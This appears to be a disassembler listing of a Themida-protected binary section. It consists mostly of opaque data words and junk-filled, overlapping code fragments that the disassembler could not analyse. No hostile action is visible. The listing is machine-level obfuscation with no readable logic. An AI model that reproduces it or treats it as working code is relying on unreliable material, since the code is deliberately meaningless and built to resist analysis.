		dd 7, 6846DB38h, 0F82200E0h, 80605A5Ah,	0AE864E3h, 6C000000h
		dd 9078E030h, 0EB2AEBD3h, 8A0F63h, 58000000h, 0D88B6661h
		dd 0DF81DA8Bh, 7AC991FCh, 669EDB80h, 0F1198BEh,	8Dh, 14E900h
		dd 0D3680000h, 9AAC8EA3h, 0FF270AABh, 29B21461h, 8BEFFB64h
		dd 0D28072DCh, 40BB662Eh, 0F960529Eh, 8CEB8166h, 8B5E610Dh
		dd 816660CBh, 0E8B4FAEFh, 0Bh, 0E5131816h, 2C74959Bh, 0BB668B89h
		dd 2293B7B5h, 0FC57615Bh, 0C681665Eh, 0BE6625CCh, 0BA663461h
		dd 11E9D80Eh, 0EE000000h, 56FCBB8Ah, 7B9223EDh,	82423B1Fh
		dd 1EE9C2EAh, 0B86601B6h, 0F6811D0Eh, 35CE12D8h, 0F95EEBBEh
		dd 1A810F51h, 0E8000000h, 14h, 6AB0B461h, 787B4519h, 90EBA165h
		dd 43CAD94Ch, 43B37452h, 0FBBF0F5Bh, 30B9C38Bh,	66203B3Fh
		dd 148CC281h, 7098BA66h, 15880F60h, 0E9000000h,	10h, 0E233137Eh
		dd 0DD76680Ch, 886F599Dh, 0BF9E6ACFh, 61C88B66h, 65C18166h
		dd 0EB816639h, 0F98A9437h, 0F4CD980h, 178Eh, 0EE800h, 0A3830000h
		dd 0A30C0B7Eh, 1D2F6391h, 38634CD2h, 5FD08B66h,	14E8F9h
		dd 2E560000h, 599ACA26h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h
		dd 870F4863h, 2, 0BF5FF98Bh, 5A00F2Dh, 0DF8BCB8Bh, 0FFBBDF8Bh
		dd 0F432303h, 184h, 0BF60F800h,	1EC81232h, 8B0F61F5h, 1
		dd 58BE66FCh, 0C2BF0FB5h, 0DE8h, 9DCABB00h, 0DBA38E90h
		dd 3250583h, 8B0FC2BEh,	2, 0E95FF38Ah, 13h, 7B9358E5h
		dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 0E82AAFC3h,	0Ah, 77CDF67Ah
		dd 4A6B691Bh, 0E960019Fh, 12h, 3ABD299Dh, 0DDEF7D57h, 5C1B1CDCh
		dd 6CA522B0h, 61F9D410h, 0DB816659h, 65BAD87Fh,	0F367C93h
		dd 8A0FCBBFh, 14h, 0FE9h, 0D05E3A00h, 22550960h, 76789658h
		dd 1FBCEBADh, 8E9F38Bh,	5D000000h, 0A374C237h, 0F5A47139h
		dd 51F7B70Fh, 250BF66h,	28C0F59h, 8A000000h, 0F890FECh
		dd 0E8000000h, 7, 272884E3h, 50EC796Dh,	11E85F59h, 2B000000h
		dd 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh,	0AC09EA81h
		dd 0F9583FD8h, 0F0C68166h, 0E8816677h, 0FE978E9h, 99000000h
		dd 0F5654427h, 0C55772B3h, 921B59Bh, 0BB66BC04h
		dd 0D9BA8844h, 66537C25h, 5D5E081h, 816660F5h, 66D58CC9h
		dd 8A61F38Bh, 0AE8CFh, 5BFE0000h, 85A06BEFh, 187CBE95h
		dd 13E9h, 4A47EB00h, 572685D3h,	0FAD10159h, 680B3A39h
		dd 0F6DB58Fh, 7E85Fh, 0BA970000h, 0F5BB4937h, 0F88B66A9h
		dd 8E0F59h, 52000000h, 0C6B70F5Ah, 0D44FB866h, 58E0Fh
		dd 48B80000h, 8A21E6F5h, 4037B9C1h, 816666ECh, 8AD334D6h
		dd 0D38B66DAh, 0CAB70FF9h, 2FDD8056h, 54D9805Eh, 19A4D181h
		dd 81560866h, 101331D9h, 0F9F85977h, 7E950h, 278A0000h
		dd 6328507Fh, 8A0F5A34h, 1, 0AAB4BFF9h,	8E8567Ah, 71000000h
		dd 9ECBB28Eh, 0BA1B9E2Eh, 0AC6478Fh, 8166F55Bh,	0B459CEEAh
		dd 0FE8FCDFh, 53000000h, 675D33C4h, 0B8BC3651h,	3EB02807h
		dd 0DE8B4002h, 138C0F58h, 0E9000000h, 0Eh, 0CAF81865h
		dd 24254CBCh, 81EA7B9Fh, 0BF0F028Eh, 14E9C2h, 0E4700000h
		dd 0A2D8C542h, 0CA611DCCh, 91A7C5FBh, 499CF11Fh, 81608422h
		dd 0C842B2E3h, 5E951h, 8A680000h, 6101BC15h, 85C9AEB8h
		dd 11E94Dh, 17190000h, 0A7485F2Ah, 8824407Ah, 73B6C16Ah
		dd 8063C9ACh, 80601AD4h, 880F62F3h, 6, 8D0Fh, 0F9610000h
		dd 1CBBB6BEh, 0E9FA8B74h, 10h, 0EC4617C5h, 2B736375h, 8391435Fh
		dd 6A9457BBh, 0BE97AB0h, 35000000h, 0FF99221Ch,	303233E3h
		dd 0CA8BF576h, 0CC87C881h, 0F38B1363h, 9BBA66FCh, 138C0F73h
		dd 0E8000000h, 0Ah, 666312D8h, 1101993Ch, 0BF0F4C27h, 8B6658DBh
		dd 0F08166DAh, 0D381069Eh, 38394158h, 8CBB5F56h, 607486B0h
		dd 10E8F5h, 0CE220000h,	0AD5CE6B5h, 0F28B4569h,	99EF79AEh
		dd 6159C102h, 19830Fh, 14E90000h, 4B000000h, 573C24A4h
		dd 0E2C6B49Fh, 62F50AA1h, 0E488CEDFh, 0F97041Ah, 8166C6BFh
		dd 0F3767C8h, 0E960D0BFh, 0Fh, 55122297h, 2655157Dh, 162C4B27h
		dd 0BBA75B36h, 4B5A6888h, 8D0F6061h, 2,	9E9F1B7h, 5B000000h
		dd 9890ACDh, 3E3A4A3Ch,	8B665761h, 0F5659DEh, 805AC2B7h
		dd 0D88B07D7h, 0F78ACF8Ah, 10E9h, 0A90E9400h, 0CF541359h
		dd 0FF7C7386h, 0F78CB5ACh, 0EFE08131h, 51279E94h, 5AA9CE80h
		dd 0C30DF281h, 6E934D2h, 63000000h, 4CD21D2Fh, 8B66F963h
		dd 5E9C2h, 561F0000h, 6096EADEh, 5800Fh, 81660000h, 0F12E9D2h
		dd 0A8Bh, 5E900h, 932D0000h, 618C49FEh,	6650CE8Ah, 6059D68Bh
		dd 7E8h, 9F068100h, 62E5482Dh, 8C0F615Eh, 2, 880FF88Bh
		dd 6, 1783C781h, 0BF0F4F3Bh, 18810FDAh,	60000000h, 0FE95A57h
		dd 4000000h, 427A99F7h,	0DEC4500Bh, 2F158FC8h, 8061B9FFh
		dd 0E881D4D1h, 3D2AD142h, 5870Fh, 81660000h, 0F805A9D1h
		dd 0CFBF0F52h, 13E958h,	59950000h, 0EFD354F7h, 75830B53h
		dd 91052710h, 0B414336Dh, 8E8A5h, 7D780000h, 9F53C31Ah
		dd 0E1811090h, 13CC60F5h, 0E8F78B59h, 0Fh, 7CB41D8h, 0A79EE285h
		dd 0F07E8660h, 0F7E4CDFh, 1389h, 0EE900h, 35A70000h, 0E389D4C3h
		dd 557D15D5h, 550CC57Eh, 148F0F58h, 0E9000000h,	0Fh, 800C9A2Fh
		dd 0C97D21E1h, 460C40D2h, 0E9B604DBh, 8, 0CE03758Ch, 27B90E24h
		dd 0E85CDB80h, 12h, 0A954C516h,	5908E257h, 0C7667C2Ch
		dd 0D9953ECDh, 850FC521h, 6, 880Fh, 0F85A0000h,	13E8h
		dd 88ACC400h, 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h
		dd 59C2B70Fh, 6659D580h, 664EE1BEh, 0BF0FCB8Bh,	0FB8B66DFh
		dd 0C7816660h, 61F5454Bh, 8C0FFA8Bh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D2965
; ---------------------------------------------------------------------------
		db 7Ah,	0ACh, 0E6h
		dd 5B0330E5h, 76D22F72h, 37DB27h
		db 0D3h
; ---------------------------------------------------------------------------


loc_5D2965:				; CODE XREF: Themida_:005D2950j
		jge	loc_5D298D
		call	sub_5D297F
		adc	dl, 0Bh
		inc	eax
		iret
; ---------------------------------------------------------------------------
		db 32h,	0D4h, 7Eh
		dd 3D62F336h
		db 0D3h, 26h, 0C5h

; =============== S U B	R O U T	I N E =======================================



sub_5D297F	proc near		; CODE XREF: Themida_:005D296Bp
		call	sub_5D298B
		pop	ecx
		mul	byte ptr [edx+22h]
		outsd
		wait
		xchg	eax, edi
sub_5D297F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D298B	proc near		; CODE XREF: sub_5D297Fp
		pop	edi
		pop	ebx


loc_5D298D:				; CODE XREF: Themida_:loc_5D2965j
		jnz	loc_5D299E
		jb	loc_5D299E
		xor	cx, 40D6h


loc_5D299E:				; CODE XREF: sub_5D298B:loc_5D298Dj
					; sub_5D298B+8j
		push	ecx
		mov	cx, 0F16h
		pop	ecx
		call	near ptr loc_5D29AD+4
		dec	ebx
		cwde
		pusha
		inc	ecx


loc_5D29AD:				; CODE XREF: sub_5D298B+19p
		add	edi, [edx-7E994675h]
sub_5D298B	endp ; sp-analysis failed

		fisttp	dword ptr ds:6E95Ah[esi*4]
; ---------------------------------------------------------------------------
		dw 0
		dd 53F022BDh, 0D0818D3Ah, 4B292FCh, 0BF0FECB7h,	0EA8166F8h
		dd 7E91629h, 5A000000h,	68E93469h, 0F58AF84Dh, 299CB866h
		dd 14E9h, 47D85000h, 0DFBF8D11h, 37ACE145h, 8973291Bh
		dd 9FB02FC0h, 10E95317h, 0DF000000h, 52C7F511h,	0B86D94D0h
		dd 0BC58686Eh, 5EA2977Ah, 1CF8166h, 0DE942h, 5B8E0000h
		dd 510FDB1Fh, 0CA04EF2Eh, 0FDA3F80h, 138Ah, 5F566000h
		dd 9E8h, 0F211F200h, 0C835AA8Ch, 6158FD2Ch, 0B8D98151h
		dd 5F0C49C5h, 12880Fh, 0DE90000h, 28000000h, 5467DABBh
		dd 4E331F03h, 0F45940A5h, 0AAF08166h, 660FB375h, 8060C28Bh
		dd 0FC605CF7h, 0EE8h, 1E4BE900h, 8E93BD98h, 30F667DCh
		dd 5A43CD8Ah, 21BF6161h, 0E91720BBh, 0Dh, 74682A16h, 5BC362B1h
		dd 9F890832h, 0CE8B66B6h, 51FCD78Bh, 0B880Fh, 6E90000h
		dd 0AA000000h, 7CB41D8h, 0F78B5885h, 6E9h, 9E411500h, 60929CC4h
		dd 5E8E2B0h, 5B000000h,	8499279h, 5AC3BF0Fh, 0ABC58061h
		dd 800F82B1h, 3, 0FD3BF0Fh, 8B66F9B7h, 0B70FF9DAh, 0F0F381FAh
		dd 0E94CE865h, 5, 83AAEABAh, 0F8F5BECAh, 0B70F3457h, 28F0FC8h
		dd 8A000000h, 0CE9E1h, 64D80000h, 40FD0478h, 4B5F6341h
		dd 0BBF9A604h, 5D2B0B49h, 820F5B50h, 6,	13D8F781h, 0BE95479h
		dd 51000000h, 48189567h, 0BCA309E6h, 0EE8F717h,	18000000h
		dd 8A4273CCh, 0E6BC8467h, 0AB6F6F5h, 14E844h, 6BD90000h
		dd 847BE11Ah, 727A2980h, 0B9329278h, 0E2CE9973h, 8166A659h
		dd 59A5E8CFh, 5E95Bh, 72A70000h, 0F62D283h, 0F781F1BFh
		dd 43E88D95h, 0BE8h, 9F4E8D00h,	9B7CAFE5h, 0DAC0EE22h
		dd 0CE959h, 38B80000h, 77747621h, 762138B8h, 7E97774h
		dd 82000000h, 79D8721Ah, 7E84E61h, 4000000h, 0B761E00Fh
		dd 0EBB83F87h, 5F0A1AA6h, 810FF38Bh, 2,	0AE9E1B0h, 0C2000000h
		dd 241F9ECAh, 0A48A4109h, 0F58A6085h, 0FF861FCh, 0AE9C7B7h
		dd 8C000000h, 6EF63DD7h, 3C3CDB9Eh, 0DF81668Fh,	8157C48Ch
		dd 0DDDA25D9h, 6B55F21h, 0A1F68166h, 0CF8166A4h, 0F609306h
		dd 12E9C6BFh, 2D000000h, 9B1523FEh, 0E2D1D925h,	0FDEABFF2h
		dd 36A5EC56h, 0FF861A8h, 1F8Ch,	870F6000h, 0
		dd 11E8h, 0AADAF00h, 3361C469h,	0F4C4B6E8h, 92EEE48Ch
		dd 615BCF18h, 7280B6BBh, 15880F40h, 0E8000000h,	9, 3653EC24h
		dd 0A60C207Eh, 830FFEh,	5A000000h, 3E0579BAh, 1CEF816Ah
		dd 6069A8E0h, 0B8DF8B66h, 1AC8387Dh, 0CA8BF561h, 8A8CC181h
		dd 0E8F9613Ch, 0Dh, 9E64C65Eh, 0D9EA0371h, 0DE43F608h
		dd 51B8668Dh, 850F5BBEh, 8, 0CCF28153h,	5A20FC7Eh, 1354B966h
		dd 6A28BF66h, 0F368B966h, 8E986B1h, 0DD000000h,	0E6E444C8h
		dd 8B02C26Dh, 0EDBA66F7h, 982BB869h, 8E93926h, 0E5000000h
		dd 0DE88D87Bh, 66ECE0E4h, 66C61EBBh, 0F4418BBh,	0A8Bh
		dd 5E900h, 28830000h, 0F9917B3Ch, 3880Fh, 0E7800000h, 0DE85322h
		dd 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h, 0BF0F585Ah
		dd 0B2D78BF1h, 0F5CE8BDBh, 66D9BF0Fh, 0C380D08Bh, 0B866F5D7h
		dd 8E0F3EF1h, 7, 1870Fh, 66FC0000h, 0BE189ABBh,	6D130BBh
		dd 0CE9h, 19B88E00h, 85671DBh, 0D882984Dh, 0DE816629h
		dd 0BF0F3023h, 0A8B257FEh, 0B1CE8B59h, 0E3B852C7h, 5F739CA4h
		dd 0E6D6DA81h, 0F2817F1Fh, 5DC4DBF0h, 78A0Fh, 830F0000h
		dd 1, 1860FF8h,	0F5000000h, 0B9D482BAh,	4810F07h, 52000000h
		dd 0E85F6160h, 0Fh, 3E671454h, 0E39B2B8Fh, 90DB726Fh, 0E9A5BE9Ch
		dd 0Ah,	3B94B6B8h, 884DF861h, 665883BDh, 0BF66D68Bh, 66500A0Eh
		dd 5B908FB9h, 0E880Fh, 9E90000h, 53000000h, 283C87EEh
		dd 8056B9AFh, 0F6019B2h, 12E9C3B7h, 0FB000000h,	8D140AE6h
		dd 25F004h, 0B9053FF1h,	49135C2Ch, 0DE8614Fh, 9E000000h
		dd 0A3408FCDh, 0F33E03A5h, 0CBB6E9EAh, 665F90B7h, 0D56BF381h
		dd 6E8h, 0B9CDF800h, 0E868F324h, 8, 0ED239685h,	333C200Eh
		dd 5A5F6160h, 0E966D080h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h
		dd 44BE635Fh, 662C322Dh, 0D196E381h, 9E68166h, 0FE844h
		dd 0D9980000h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 28B0FA5h
		dd 8A000000h, 6E85AEEh,	0EB000000h, 41A00700h, 23CB8043h
		dd 80DE8B5Ah, 0F0B2C5F1h, 8E9h,	64136900h, 4A583615h, 11E8CEh
		dd 33AE0000h, 99B16D2Fh, 744976ECh, 0A4D634A0h,	0F0C8081h
		dd 583h, 0D3816600h, 815B4BB4h,	1763F2E1h, 13E862h, 6390000h
		dd 0B1BD9607h, 0DF793EC9h, 4D96D75Fh, 0CB137666h, 0F28B6679h
		dd 0E9576058h, 0Eh, 2E687471h, 0D4596000h, 0EFF2B25Fh
		dd 61588218h, 28F0Fh, 5FB00000h, 0F5CFB70Fh, 0E9D9B70Fh
		dd 6, 39B2841Dh, 8B0F56C2h, 5, 2051D2BEh, 0CE909h, 5ECD0000h
		dd 2E71141h, 0BC0A9E0Fh, 8E8020Ch, 0BF000000h, 0A12949D5h
		dd 8A670B07h, 5E958D5h,	0
		dd 0E0664F32h, 71EE80F9h, 12E9h, 0FB343300h, 373BB1Fh
		dd 0A96A20ECh, 5DB4D9Dh, 60873A0Dh, 66DEB70Fh, 0A521C681h
		dd 2B86661h, 5840F83h, 0BF000000h, 397DBB8Bh, 5E9h, 186BE700h
		dd 0BA667C4Eh, 76B88F3Dh, 0B02CAD4Dh, 0AE80Ah, 0E8F20000h
		dd 5EC5C0BFh, 28DFAC49h, 11E9h,	879C0700h, 6D05FB0Ah, 0A358555Fh
		dd 63CD2A3Dh, 605E29CBh, 666112B1h, 0F5B31BFh, 486h, 0C68A5200h
		dd 33CB805Ah, 8BDEB70Fh, 66C4B1DAh, 0E92849BEh,	9, 57A32A73h
		dd 6AD6022Ch, 0E981668Fh, 8166CF02h, 604742E1h,	0E3816651h
		dd 6159AA63h, 12E9h, 0BFB08F00h, 7A0B3CD8h, 0C0D249ECh
		dd 120AACDEh, 0BF62C28Dh, 0EE28E3Eh, 18DF8166h,	0F38B6616h
		dd 668BC780h, 0B318D6BBh, 0F780F5D2h, 0FD68B8Fh, 0E9F8F7B7h
		dd 0Bh,	0FD67697Fh, 0E07409B1h,	669C075Ch, 0F38BF88Bh
		dd 6059FC56h, 59FB8B51h, 12E8h,	0B4BB8200h, 9EB5F692h
		dd 93245990h, 8A4C4B87h, 609856C1h, 0B0615E61h,	0DCBA66E3h
		dd 9E9F8h, 0BDAA0000h, 9C9A9FFDh, 66C4C1A8h, 890FC18Bh
		dd 0
		dd 0BE8B7B5h, 17000000h, 82C85B21h, 0C67AA528h,	805F6DD8h
		dd 8B6680F0h, 10E8FBh, 0B26A0000h, 0B8EF922Fh, 32967240h
		dd 3DDAC975h, 8D0F5F1Bh, 14h, 0FE9h, 15AD5000h,	6D446F45h
		dd 43A3F628h, 0F9E0F735h, 571EB65Eh, 6060F958h,	800Fh
		dd 810F0000h, 0
; ---------------------------------------------------------------------------
		popa
		js	loc_5D30F6


loc_5D30F3:				; CODE XREF: Themida_:005D3159j
		add	bl, 21h


loc_5D30F6:				; CODE XREF: Themida_:005D30EDj
		popa
		jns	loc_5D30FE
		stc


loc_5D30FE:				; CODE XREF: Themida_:005D30F7j
		mov	cx, 85F6h
		push	ebx
		mov	ch, bh
		pop	edi
		js	loc_5D3112
		sbb	edx, 6CCB3161h


loc_5D3112:				; CODE XREF: Themida_:005D3106j
		jmp	loc_5D3128
; ---------------------------------------------------------------------------
		db 68h
		dd 20497A16h, 863241E1h, 0D7C0A1B8h, 53C03D11h
; ---------------------------------------------------------------------------


loc_5D3128:				; CODE XREF: Themida_:loc_5D3112j
		pusha
		pusha
		jmp	loc_5D3137
; ---------------------------------------------------------------------------
		db 7Fh
		dd 0BCDB1E4Ch
		db 0EFh, 82h, 95h
; ---------------------------------------------------------------------------


loc_5D3137:				; CODE XREF: Themida_:005D312Aj
		pusha
		popa
		popa
		jno	loc_5D3146
		ja	$+6


loc_5D3146:				; CODE XREF: Themida_:005D313Aj
		popa
		mov	ecx, 2812A2CBh
		adc	edx, 78BCACA6h


loc_5D3152:				; CODE XREF: Themida_:005D315Bj
		call	sub_5D3168
; ---------------------------------------------------------------------------
		push	edx
		pop	es
		loop	loc_5D30F3
		jno	short loc_5D3152
		daa
		adc	[ecx], bl
		retn
; ---------------------------------------------------------------------------
		db 58h,	91h, 4Ah
		dd 862EF6FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D3168	proc near		; CODE XREF: Themida_:loc_5D3152p
		add	si, 199Ch
		pop	edi
		clc
		jg	loc_5D3177
		mov	ah, 6Bh


loc_5D3177:				; CODE XREF: sub_5D3168+7j
		jo	loc_5D3180
		movsx	ecx, cx


loc_5D3180:				; CODE XREF: sub_5D3168:loc_5D3177j
		movzx	esi, ax
		mov	bx, 0BD6Fh
		mov	bx, 0D42Ah
		mov	si, ax
		jmp	loc_5D31A3
; ---------------------------------------------------------------------------
		db 93h
		dd 647E7BCh, 1B0F4575h,	63FA0301h
		db 0Eh,	3Eh, 0D0h
; ---------------------------------------------------------------------------


loc_5D31A3:				; CODE XREF: sub_5D3168+26j
		mov	cx, dx
		movzx	esi, dx
		jmp	loc_5D31BF
; ---------------------------------------------------------------------------
		dw 0B20Ah
		dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h
; ---------------------------------------------------------------------------
		mov	[esi+54h], gs


loc_5D31BF:				; CODE XREF: sub_5D3168+41j
		jmp	loc_5D31CE
; ---------------------------------------------------------------------------
		dd 4DDA7953h, 0B3B56E2h
; ---------------------------------------------------------------------------
		mov	ecx, [eax]


loc_5D31CE:				; CODE XREF: sub_5D3168:loc_5D31BFj
		mov	bh, cl
		mov	cx, bx
		jnb	loc_5D31DD
		mov	di, 0C98Bh


loc_5D31DD:				; CODE XREF: sub_5D3168+6Bj
		movsx	ebx, cx
		call	sub_5D31F0
		hlt
sub_5D3168	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 7C96h
; ---------------------------------------------------------------------------
		mov	al, 82h
		add	[ecx+ebp*2-62h], dh
		jl	short near ptr dword_5D3268

; =============== S U B	R O U T	I N E =======================================



sub_5D31F0	proc near		; CODE XREF: sub_5D3168+78p
		add	ch, 91h
		pop	esi
		mov	eax, 6C6CD037h
		mov	dl, 94h
		movsx	ecx, bx
		mov	eax, esi
		add	cl, 30h
		jmp	loc_5D3217
; ---------------------------------------------------------------------------
		dd 664E82FEh, 0F479A5F1h, 0E7008B23h
		db 4Bh,	6Ch, 7Eh
; ---------------------------------------------------------------------------


loc_5D3217:				; CODE XREF: sub_5D31F0+13j
		call	sub_5D3224
		or	eax, [ebx+5271075h]
		xchg	eax, ecx
		insd
sub_5D31F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D3224	proc near		; CODE XREF: sub_5D31F0:loc_5D3217p
		mov	esi, 4FA74184h
		pop	ecx
		jnp	near ptr loc_5D323B+4
		call	near ptr loc_5D323B+1
		and	ebp, [ecx-5Dh]
		pop	esp
		cmp	ch, dh


loc_5D323B:				; CODE XREF: sub_5D3224+Cp
					; sub_5D3224+6j
		or	[edx-179FA6E2h], dh
sub_5D3224	endp ; sp-analysis failed

		or	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 69CB2300h, 3714A43Bh, 8166DF73h, 5F7755D7h, 7E961h
		dd 0F94B0000h, 2D7EED53h, 66BB6671h, 128F0F66h
dword_5D3268	dd 0E9000000h, 0Dh, 0FFB19B41h,	2A4A4C8Bh, 0D08E3F94h
					; CODE XREF: Themida_:005D31EEj
		dd 60C38B70h, 1BBB8ABEh, 0D781661Ah, 0BE610029h, 5CC52E3Bh
		dd 5890Fh, 15BA0000h, 0E970EDA5h, 0Bh, 3C74251Ch, 629BBC07h
		dd 0F0F2415h, 800FF8B7h, 19h, 14E9h, 97CBB100h,	95915D4Dh
		dd 5E4C3F62h, 2F9D03F2h, 5B8DF5B7h, 5870F94h, 66000000h
		dd 8572DF81h, 0BE9h, 95A77900h,	0CD5292D8h, 96123D9Bh
		dd 28B0Fh, 0EC8A0000h, 8E9F98Bh, 0C6000000h, 0F29BF47h
		dd 66E2133Fh, 0EE9C18Bh, 75000000h, 24650D3Eh, 0AE4850DFh
		dd 882DDFD7h, 3830F9Dh,	66000000h, 0B960D08Bh, 1D6FE14Eh
		dd 9E9h, 1B29C00h, 0B9B47874h, 0FC61E55Dh, 0E9D88B66h
		dd 0Bh,	5EBC9CEEh, 0BB5662A2h, 0FFCCA38h, 328Fh, 13E800h
		dd 641F0000h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh, 9838096Dh
		dd 13E887h, 9B2C0000h, 57E11EF2h, 0C80E45EAh, 5C5D065Fh
		dd 109415D2h, 0F58584Ch, 8166DBB7h, 53253AC6h, 0AE8h, 7BC3300h
		dd 0B9E1A83Ch, 0E9C31480h, 0Eh,	1A7B6F82h, 99003DD1h, 0DEC3B78Dh
		dd 5858850Dh, 7BCD8056h, 81D88B5Bh, 94AEDAF1h, 0EE81663Dh
		dd 880F3F22h, 13h, 0EE9h, 0D984F200h, 0E723F0D2h, 0DDEC6EB4h
		dd 66FBA50Bh, 0B57BC181h, 0AE8h, 458F7800h, 92C40451h
		dd 6612F3E6h, 5B754CB8h, 10E8h,	0DBBA3300h, 5079B958h
		dd 0DA49202h, 11C08B63h, 7E950h, 0EF990000h, 4B9916B9h
		dd 10E9586Eh, 74000000h, 0B43798Ah, 0E66E0E13h,	720D4DC7h
		dd 0BFDA2821h, 1A6A0159h, 30D98160h, 610D6A17h,	8820Fh
		dd 0F510000h, 81h, 81665F00h, 66CDEADEh, 0BE20D281h, 10E951h
		dd 0DB880000h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh, 6659655Ah
		dd 0DA51EE81h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h
		dd 0BACC11A4h, 0AAF24F9Eh, 80DB80BBh, 6820Fh, 0C6810000h
		dd 65A00507h, 60F8E2B7h, 38E0Fh, 0B70F0000h, 68E0FD9h
		dd 0F000000h, 85h, 8B606100h, 0F561F8FBh, 0BE860h, 83090000h
		dd 0F699CB73h, 6C7ECAA2h, 1AF78143h, 592FD7ECh,	14E9h
		dd 8A8500h, 0BEFAC4ACh,	52B4FB7Bh, 405C8B6Fh, 805ECB6h
		dd 0BE666152h, 0C4808E1Fh, 0EA80FC81h, 0F5E5712h, 387h
		dd 0F7BF0F00h, 0FE9h, 5A7BAF00h, 4A1F8468h, 0B79EF21Bh
		dd 5858C49Ah, 0FE9h, 885E6200h,	12084594h, 9E9F21B3h, 8D9B3D5Ah
		dd 0B6C7B70Fh, 0F78B663Ch, 51D7BF0Fh, 8ED18151h, 5903B93Dh
		dd 0F9B70F5Fh, 0CE9FCh,	0A91B0000h, 5AAA0B8Ch, 0A7A8D2A1h
		dd 9E9149Ah, 43000000h,	0F94E3F54h, 369C378h, 0C280D38Ah
		dd 3BC48038h, 12E9h, 0C5615E00h, 7144C325h, 80A7FEC9h
		dd 0F014CF32h, 66DEFB95h, 0F3F6F281h, 66F9C080h, 66EFADBBh
		dd 4ED0D181h, 0E8605E56h, 0Dh, 356E2F1Eh, 0EB061534h, 0B4B8035Fh
		dd 11E979h, 0EF930000h,	0ED1DA093h, 0C7D2298h, 3219B1EDh
		dd 5FF385CEh, 0BADDB160h, 5F5F9D1Bh, 0BE666161h, 66F9912Ah
		dd 5E8CE8Bh, 15000000h,	4865194Ah, 4C88BA66h, 16E7815Fh
		dd 661AF3C9h, 8B66F18Bh, 70D980C7h, 2836D981h, 0D6806E85h
		dd 0E89AB55Ah, 6, 0F15927D4h, 5FFCA3B6h, 0DD681FCh, 666C1C10h
		dd 19BBC28Bh, 0E943FB61h, 0Bh, 7CFC6952h, 0C0E93CD6h, 8064844Fh
		dd 0F180ADE7h, 5E805h, 9420000h, 806A8AE7h, 0E9590AD9h
		dd 13h,	9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 66D183C7h
		dd 66761ABAh, 0AEB2DE81h, 7AF18166h, 15DF8108h,	0BB06F382h
		dd 5F909BC3h, 58F0Fh, 0D9BB0000h, 0F169FB3h, 68Bh, 0FAE88100h
		dd 8B385964h, 7FC480D8h, 60C78060h, 61C0BF0Fh, 0D0D2D981h
		dd 9FB925BDh, 0E86FB3E0h, 13h, 0AC94416Bh, 0EC1ABC78h
		dd 0F2FA90E9h, 0A6E544A7h, 665CF0E5h, 0D734DF81h, 188C0F5Eh
		dd 0F000000h, 128Eh, 0DE900h, 29E60000h, 0FA1ABA90h, 0FF1CE034h
		dd 0FB1F70Ch, 8Bh, 0AE800h, 0AECC0000h,	0B16D2F33h, 4976EC99h
		dd 5EE5C680h, 3ED68157h, 5A7CE144h, 811EC380h, 2791E9C0h
		dd 0BE95Ah, 364D0000h, 25C1EB80h, 2B235447h, 11E9AFh, 5DC80000h
		dd 97CEF4BEh, 0AE9575D6h, 4D20C59Ah, 0E80043C0h, 6, 89DAFD86h
		dd 820F98B9h, 5, 0F2D18166h, 0BF605E32h, 647DE109h, 86F78166h
		dd 0EE96150h, 88000000h, 273B62F9h, 0C613A3C6h,	0CB5C8487h
		dd 0FB8B6610h, 0A23CC381h, 0EE90557h, 48000000h, 0E7D8F0A1h
		dd 0F2432A13h, 7B860776h, 0E18166E3h, 0C88BB761h, 81C8B70Fh
		dd 0AC79CFE7h, 6E857h, 5B830000h, 0DAEDEF2h, 58DA8B66h
		dd 358BF781h, 8B66697Dh, 0A8A6BAFBh, 850F6BACh,	15h, 10E9h
		dd 0DF1DCA00h, 3507BB53h, 475AC8A3h, 2026003h, 0D3B9665Ch
		dd 88EA805Ah, 0DA8BCA8Ah, 0E837F181h, 0FF94DE9h, 180h
		dd 880FF800h, 0Dh, 8E9h, 0DB4E7100h, 4CEBDD8Ch,	28B8662Ah
		dd 0ECB8522Fh, 5B406997h, 0E8FEB70Fh, 0Dh, 43C463B8h, 67F9F7E4h
		dd 6E19C58Dh, 830F50FFh, 0
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		movzx	esi, cx
		mov	di, 0CDE7h
		cld
		jmp	loc_5D3823
; ---------------------------------------------------------------------------
		db 73h
		dd 3B27168Fh, 3C35668Ah
; ---------------------------------------------------------------------------
		imul	byte ptr [edi]
		push	ss


loc_5D3823:				; CODE XREF: Themida_:005D3812j
		jmp	loc_5D3831
; ---------------------------------------------------------------------------
		sbb	edx, [esp+edi]
		daa
		icebp
		mov	ah, 0
		mov	dh, 0ACh


loc_5D3831:				; CODE XREF: Themida_:loc_5D3823j
		add	ecx, 55A9CB2Ah
		stc
		mov	ecx, 1F75564Fh
		adc	bh, 0Ah
		movzx	esi, cx
		mov	ch, bl
		mov	di, 0CDB3h
		stc
		jle	loc_5D3854
		mov	si, 0D5C4h


loc_5D3854:				; CODE XREF: Themida_:005D384Aj
		adc	dx, 95A1h
		mov	al, 74h
		mov	si, 0EF7Ch
		mov	di, 3FEFh
		jmp	loc_5D387C
; ---------------------------------------------------------------------------
		dd 0E1E94FDBh, 0F43F9A28h, 4E20F059h, 0CF239854h, 6FE9D5DFh
; ---------------------------------------------------------------------------


loc_5D387C:				; CODE XREF: Themida_:005D3863j
		clc
		sub	ebx, 79EB7457h
		pusha
		jmp	loc_5D3898
; ---------------------------------------------------------------------------
		adc	ebp, edi
		adc	edx, [edx-2A4496B5h]
		mov	ebp, 0E9D700Eh
		adc	[esi], ah


